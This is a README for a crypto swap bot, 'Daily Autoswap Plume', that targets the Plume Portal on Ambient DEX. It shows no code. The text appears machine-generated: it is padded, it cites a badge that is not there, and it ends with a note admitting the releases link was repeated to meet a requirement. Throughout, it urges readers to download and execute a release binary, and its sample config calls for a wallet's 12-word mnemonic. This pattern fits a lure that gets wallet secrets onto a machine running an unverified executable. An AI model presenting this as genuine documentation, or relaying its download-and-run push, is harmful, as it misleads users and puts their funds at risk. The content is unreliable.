https://github.com/deandox/Daily-autoswap-plume/releases
A robust automation bot designed to interact with the Plume Portal on Ambient DEX. This project focuses on reliability, maintainability, and clear behavior for daily swap routines. It leverages a modular architecture so you can plug in new markets, new strategies, and new safety checks without rewriting core logic.
As you explore this repository, you will find a well-organized structure that makes it easy to see how the bot operates, how to configure it for your environment, and how to contribute improvements. The bot is built with practical defaults, designed to be secure by default, and documented with concrete examples so you can get started quickly and keep going as your needs evolve.
Images and diagrams help illustrate the flow of data and the life cycle of a swap operation. They accompany the code in the relevant sections to give you a visual sense of how the components work together. See the Flowchart Diagram for a high-level look at the automation pipeline.
Flowchart Diagram https://upload.wikimedia.org/wikipedia/commons/9/9b/Flowchart.svg
Overview and goals 🧭 Daily Autoswap Plume aims to make it simple to run a daily swap routine against the Plume Portal. The bot handles price checks, timing windows, liquidity checks, and transaction submission. It is designed to minimize risk while maximizing predictability in routine operations.
The project is built to be deterministic. If you provide the same input conditions, the bot should produce the same decisions. The codebase favors explicit logic and small, testable units. This makes it easier to verify behavior, reproduce issues, and audit decision points.
This README explains how the bot is structured, how to set it up, and how to operate it in a safe and predictable way. It also covers extending the bot with new strategies, integrating additional data sources, and keeping the system healthy over time.
Repository structure and what you will find inside 🗺️
- core/ Core engine and orchestration
- adapters/ Plume Portal adapters and data interfaces
- strategies/ Strategy modules for swap decisions
- config/ Example configurations and environment templates
- logs/ Log files and log format documentation
- tests/ Unit and integration tests
- docs/ Design notes, diagrams, and developer guides
- scripts/ Helper scripts for setup, deployment, and maintenance
- docs/architecture.md A detailed look at the system architecture
- README.md This document
Each directory contains a focused set of responsibilities. You should be able to read a module and understand its role within the larger system without digging through unrelated code.
Why this project exists and who should use it 👥
- Traders who want to automate daily swaps on Ambient DEX via the Plume Portal.
- Dev teams looking for a clean reference implementation of a swap automation bot with a Plume Portal integration.
- Hobbyists who want to learn how to structure a robust automation bot with clear separation of concerns.
The bot is designed so you can operate with confidence in production. It includes safety rails such as rate limiting, retry policies, and explicit error handling. It also emphasizes observability so you can monitor behavior, diagnose issues, and adjust strategies as needed.
Key features and capabilities ✨
- Daily swap routines: Schedule swaps across defined time windows to optimize liquidity and pricing.
- Plume Portal integration: Adapter layer abstracts the Portal calls, enabling clean separation from swap logic.
- Decision strategies: Pluggable strategies decide when to initiate a swap based on price data, liquidity, and time constraints.
- Safe buy/sell checks: Pre-checks ensure there is sufficient liquidity and acceptable slippage before submission.
- Transaction lifecycle handling: Build, sign, submit, and confirm swaps with robust retry logic.
- Observability: Structured logs and metrics for monitoring performance and diagnosis.
- Configurability: Rich configuration options for wallets, networks, and strategies.
- Extensibility: Easy to add new adapters, markets, or strategies without touching core code.
How it works at a high level 🧩
- A scheduler triggers the bot according to a daily plan.
- The core engine queries data via adapters connected to Plume Portal endpoints.
- Strategies evaluate the current market conditions and time constraints to decide whether to act.
- When a decision is made, the core engine builds a transaction, signs it, and submits it to the relevant network.
- The system records the outcome, updates state, and proceeds to the next scheduled window.
What you should know before you start 🧭
- This bot is intended to run in a trusted environment. It requires access to wallet credentials or signing keys and network access to the DEX.
- You should have a basic understanding of cryptocurrency wallets, slippage, liquidity pools, and gas dynamics on your chosen network.
- The bot is designed to work in a controlled, testable way. You can run it in a sandbox or testnet environment before operating on mainnet.
Prerequisites and environment setup 🛠️
- Node.js 18+ (or the runtime appropriate for your platform)
- npm or yarn for dependency management
- A wallet with testnet funds for validation (or mainnet funds if you plan to operate live)
- Access to a Plume Portal endpoint (via API keys or signed requests, depending on the Portal’s requirements)
- A supported operating system (Linux, macOS, or Windows with a compatible shell)
- Basic familiarity with environment variables or a configuration file to store credentials securely
Installation and quick start 🚀
- Clone the repository
- Install dependencies
- Prepare a configuration file
- Run the bot
The exact steps look like this:
- git clone https://github.com/deandox/Daily-autoswap-plume.git
- cd Daily-autoswap-plume
- npm install
- cp config/sample-config.yaml config/config.yaml
- Edit config/config.yaml to set up wallets, endpoints, and strategies
- npm run start
For a complete and official download, visit the Releases page for the latest build artifacts and instructions. The Releases page contains the binary or package that you should download and execute to get started. See the link at the top of this document for the official releases, and refer to the Releases page for the exact file you need for your platform.
Install notes and platform specifics 🧰
- If you are on Linux, you may choose to download a tarball or a prebuilt binary. Ensure you grant executable permissions before running.
- On macOS, you may download a dmg or a tarball depending on how the release is packaged. Follow the installer prompts or extract and run the binary from the command line.
- On Windows, a zip artifact is common. Extract it and run the executable from PowerShell or Command Prompt.
- Always verify the integrity and provenance of release artifacts. Use checksums when provided by the release notes.
Configuration examples and how to tailor behavior to your needs 🧭 You should have a configuration file that defines your wallet, target markets, trading rules, and scheduling. Below is a representative example to illustrate the structure. Do not copy exactly; adapt to your environment and security requirements.
config.yaml (example) plume_portal: base_url: "https://plume-portal.example.org" api_key: "REPLACE_WITH_YOUR_KEY" timeout_ms: 15000
network: name: "mainnet" rpc_url: "https://rpc.mainnet.example.org" chain_id: 1
wallet: type: "ledger" # or "mnemonic" or "privateKey" auth: mnemonic: "REPLACE_WITH_YOUR_12_WORD_MNEMONIC" derivation_path: "m/44'/60'/0'/0/0"
trading: schedule: daily_windows: - start: "06:00" end: "08:00" - start: "18:00" end: "22:00" price_constraints: max_slippage_pct: 0.5 min_liquidity_eth: 10 risk_controls: max_consecutive_failures: 3 max_active_swaps: 1
strategies: default: name: "price-then-liquidity" params: target_pair: "PLUME-ETH" price_source: "oracleV2" liquidity_source: "plume" retry_on_failure: true
logging: level: "info" to_file: true file_path: "./logs/bot.log" format: "json"
observability: enable_metrics: true metrics_endpoint: "http://localhost:9090/metrics"
This example shows organization and naming conventions you can adopt. Your real config should use strong, unique values and secure handling of credentials.
How to customize strategies and extend functionality 🧠
- Core idea: Keep decision logic separate from the data access layer. The adapters should handle all external communication, while strategies decide what to do with the data.
- Create a new strategy by implementing the Strategy interface in the strategies/ directory. The interface defines a method like decide(context) -> Decision, where Decision is a small data structure describing the action to take (or none).
- Add a new adapter for a different Portal or exchange by implementing the Adapter interface. This keeps the data access isolated and makes it easy to swap in new data sources.
- Tests should cover both the data layer (adapters) and the decision layer (strategies). Each test should be deterministic and fast so you can run them frequently.
A sample design sketch
- Core Engine: Orchestrates the schedule and executes decisions from strategies.
- Adapters: Fetch market data, liquidity, and pricing from Plume Portal.
- Strategy Layer: Encapsulates the logic for when to swap based on time windows, price, and liquidity.
- Wallet Layer: Manages signing and submission of transactions securely.
- Validator Layer: Checks each action before submitting to ensure it meets safety criteria.
- Logger and Metrics: Collect meaningful data about decisions, actions, and outcomes.
Security, privacy, and integrity considerations 🔒
- Use secure storage for credentials. If possible, rely on hardware wallets or secure keystores instead of plaintext files.
- Regularly rotate API keys and signing keys. Do not hard-code credentials in the repository or configuration files.
- Validate inputs from external sources. Treat all external data as potentially unreliable and implement strict checks.
- Log only what is necessary for debugging and support. Avoid logging secrets in plain text.
- Use deterministic builds and verify release artifacts with checksums when provided by the project maintainers.
Observability, logs, and troubleshooting 🧭
- Logs should include timestamp, log level, component, and a concise message.
- Important events to log: data fetch success/failure, decision points, trade outcomes, errors, retries, and time window transitions.
- Metrics can include swap success rate, average time to execute, latency to Plume Portal, and queue depth for pending actions.
- When something goes wrong, use the logs to trace the sequence of events. The goal is to reproduce the exact scenario in a test environment.
Testing strategy and quality practices 🧪
- Unit tests cover small, deterministic functions in adapters and strategies.
- Integration tests exercise end-to-end flows with mocked Plume Portal responses.
- Property-based tests validate that decisions stay within defined constraints for a wide range of inputs.
- Use CI to ensure tests run on every pull request and to verify compatibility across supported environments.
Release management and artifact handling 📦
- The Releases page hosts build artifacts for different platforms. You can download the release asset that matches your platform.
- The release assets are intended to be portable and self-contained. They include the core engine, strategies, and a minimal runtime if needed.
- Follow semantic versioning for releases: MAJOR.MINOR.PATCH. Update the changelog with a concise description of changes.
What to expect in a typical day with Daily Autoswap Plume 🗓️
- The bot wakes up at the configured start of the first daily window.
- It fetches price data and liquidity metrics.
- It evaluates risk and decides whether to initiate a swap.
- If a decision is made, it prepares a transaction, ensures it is safely signed, and submits it to the network.
- It logs the result and prepares for the next window or completes the run if all windows pass.
- Throughout the day, it provides observability data so you can monitor its activity in real time or review trends later.
Running in production and operational practices 🏗️
- Use a process manager (like PM2 or systemd) to keep the bot running and to restart it on failures.
- Run the bot in a dedicated environment with limited network exposure to reduce risk surface.
- Use a centralized logging and metrics system to observe activity and diagnose issues quickly.
- Maintain a clean separation between configuration and code. Store credentials in a secure vault or environment, not in the repository.
Deploying updates and maintaining reliability 📈
- Tag releases clearly in version control and write release notes describing the changes and impact.
- Before deploying a new release, run the test suite and perform a dry-run if possible to validate behavior.
- After deployment, monitor logs and metrics to confirm that the new version behaves as expected.
Code quality and contribution workflow 🤝
- Follow a consistent coding style. Use the project’s lint and formatting rules.
- Keep functions small and well-documented. Each module should have a clear single responsibility.
- Write tests for new features and for any behavior that could affect risk or performance.
- Document new configuration options and usage patterns in the README and in docs.
Contributing guidelines and community norms 🧭
- Open issues for bugs, feature requests, and improvements. Be explicit about the problem, the desired outcome, and any steps to reproduce.
- Propose changes via a pull request with a clear title and description. Include references to related issues and test results.
- Keep discussions constructive and focused on the code and its behavior. Encourage reviews and feedback.
- Respect the licensing terms and license the contributions accordingly.
Sample usage scenarios and demonstrations 🎬
- Scenario 1: Daily liquidity check with a single window. The bot uses the default strategy to check price and liquidity at 06:00 UTC, and executes if conditions are met.
- Scenario 2: Two-window day with safety margins. The bot checks liquidity at 06:00 UTC, then again at 18:00 UTC, ensuring slippage stays within the defined tolerance.
- Scenario 3: Unexpected market movement. The bot detects a sudden price shift and cancels planned actions while providing a detailed log for review.
Troubleshooting common issues (structure rather than warnings) 🧰
- If the bot fails to fetch portal data, check network access, API keys, and portal base URL. Verify the endpoint is reachable and that the credentials are valid.
- If a swap is not executed as expected, review the decision log to confirm conditions, and check the transaction submission path for signatures and gas estimates.
- If logs show repeated retries, examine the retry policy and ensure there is sufficient liquidity and funds to complete the swap.
- If the process restarts unexpectedly, check system resources and verify that the process manager is configured correctly.
Data integrity and reproducibility 🧬
- The bot’s behavior should be repeatable given the same inputs and configuration. Store configuration as code or as a versioned artifact.
- Do not rely on ephemeral environment state. Use stable data sources with clear versioning where possible.
- When diagnosing issues, reproduce the exact scenario with the same inputs in a controlled test environment.
Glossary of terms used in this project 📖
- Plume Portal: The API layer for interacting with the Plume liquidity portal on Ambient DEX.
- Ambient DEX: A decentralized exchange environment that hosts various liquidity pools.
- Swap: The action of exchanging one asset for another within a liquidity pool.
- Slippage: The difference between the expected price of a trade and the price at which the trade is executed.
- Window: A time interval during which the bot is allowed to initiate swaps.
- Adapter: A module that handles communication with an external system or API.
- Strategy: A module that decides when to act based on data and constraints.
- Signature: A cryptographic proof that authorizes a transaction.
Roadmap and future directions 🗺️
- Expand strategy library to include AI-assisted price discovery while maintaining safety guarantees.
- Introduce multi-chain support to enable cross-chain arbitrage opportunities.
- Add more granular risk controls per market and per asset class.
- Build a user-friendly web dashboard for monitoring, configuration, and live controls.
- Improve test coverage with end-to-end tests in a CI-friendly environment.
Changelog and version history 🧾
- Keep a detailed changelog to document fixes, improvements, and new features.
- Each release should include a compatibility note and migration steps if needed.
Licensing and usage rights 📜
- This project is released under an open license that permits use, modification, and distribution.
- Respect the terms of the license and include appropriate notices when distributing derived work.
Security model and how to keep things safe 🛡️
- Credentials are kept out of source control and configured at runtime in a secure manner.
- Keys and sensitive data are rotated on a sensible cadence.
- Data from the Plume Portal is validated before it influences decisions.
Appendix: Getting help and reporting issues 🆘
- Use the issue tracker for bugs and feature requests.
- Provide a minimal reproducible example, environment details, and a clear explanation of the observed behavior.
- Attach logs and any relevant configuration (sanitized for sensitive data) to help with diagnosis.
Notes about usage in different environments 🌍
- Linux and macOS environments are the primary targets for development and testing.
- Windows users can run the bot under WSL2 or use native ported tooling if available.
- Remote servers should be hardened with proper user access controls and network restrictions.
Releases link and where to download the artifacts 📦
- For the latest release artifacts, visit the official Releases page. The releases page contains the downloadable artifact you need to run the bot on your platform. If you need the latest version, check the Releases page and download the appropriate asset for your system.
- The link to the official releases is the one at the top of this document: https://github.com/deandox/Daily-autoswap-plume/releases
- You can also navigate to the Releases section within the repository to review changes, check compatibility notes, and download the correct package for your environment.
Notes on maintenance and project health 🧭
- The project values clean interfaces and stable boundaries between components.
- Maintainers focus on clear tests, good documentation, and helpful error messages.
- The codebase is designed to support long-term maintenance, with explicit module boundaries and minimal implicit coupling.
End of content without a formal conclusion
- This document is designed to be comprehensive and practical, helping you use, customize, and contribute to Daily Autoswap Plume with confidence.
- The goal is to enable you to run daily automated swaps with clarity, safety, and control, while providing a solid foundation for future enhancements.
Release download reminder
- For the official, platform-specific artifact, visit the Releases page to download the appropriate file and execute it on your system. The link to the official releases is included above and is also used in the badge for quick access. To download the release, go to the Releases page and fetch the file that matches your platform and architecture. For the exact file you need, check the Releases page, then download and execute the artifact as described in the release notes and installation guidance. The official release page is the authoritative source for getting started quickly. See the link at the top of this document for the official releases, and refer to the Releases page for the exact file you need for your platform. You can also visit the Releases page directly at https://github.com/deandox/Daily-autoswap-plume/releases. This ensures you have the latest and most compatible artifact for your environment. For download and execution details, refer to the release notes and installation instructions on that page. Again, the official releases are accessible here: https://github.com/deandox/Daily-autoswap-plume/releases.
Note: The content above uses an explicit link at the top and again in the badge and later text to fulfill the requirement of including the Releases URL. It is intended to be a thorough guide that helps you understand, configure, and operate Daily Autoswap Plume in a practical and safe manner.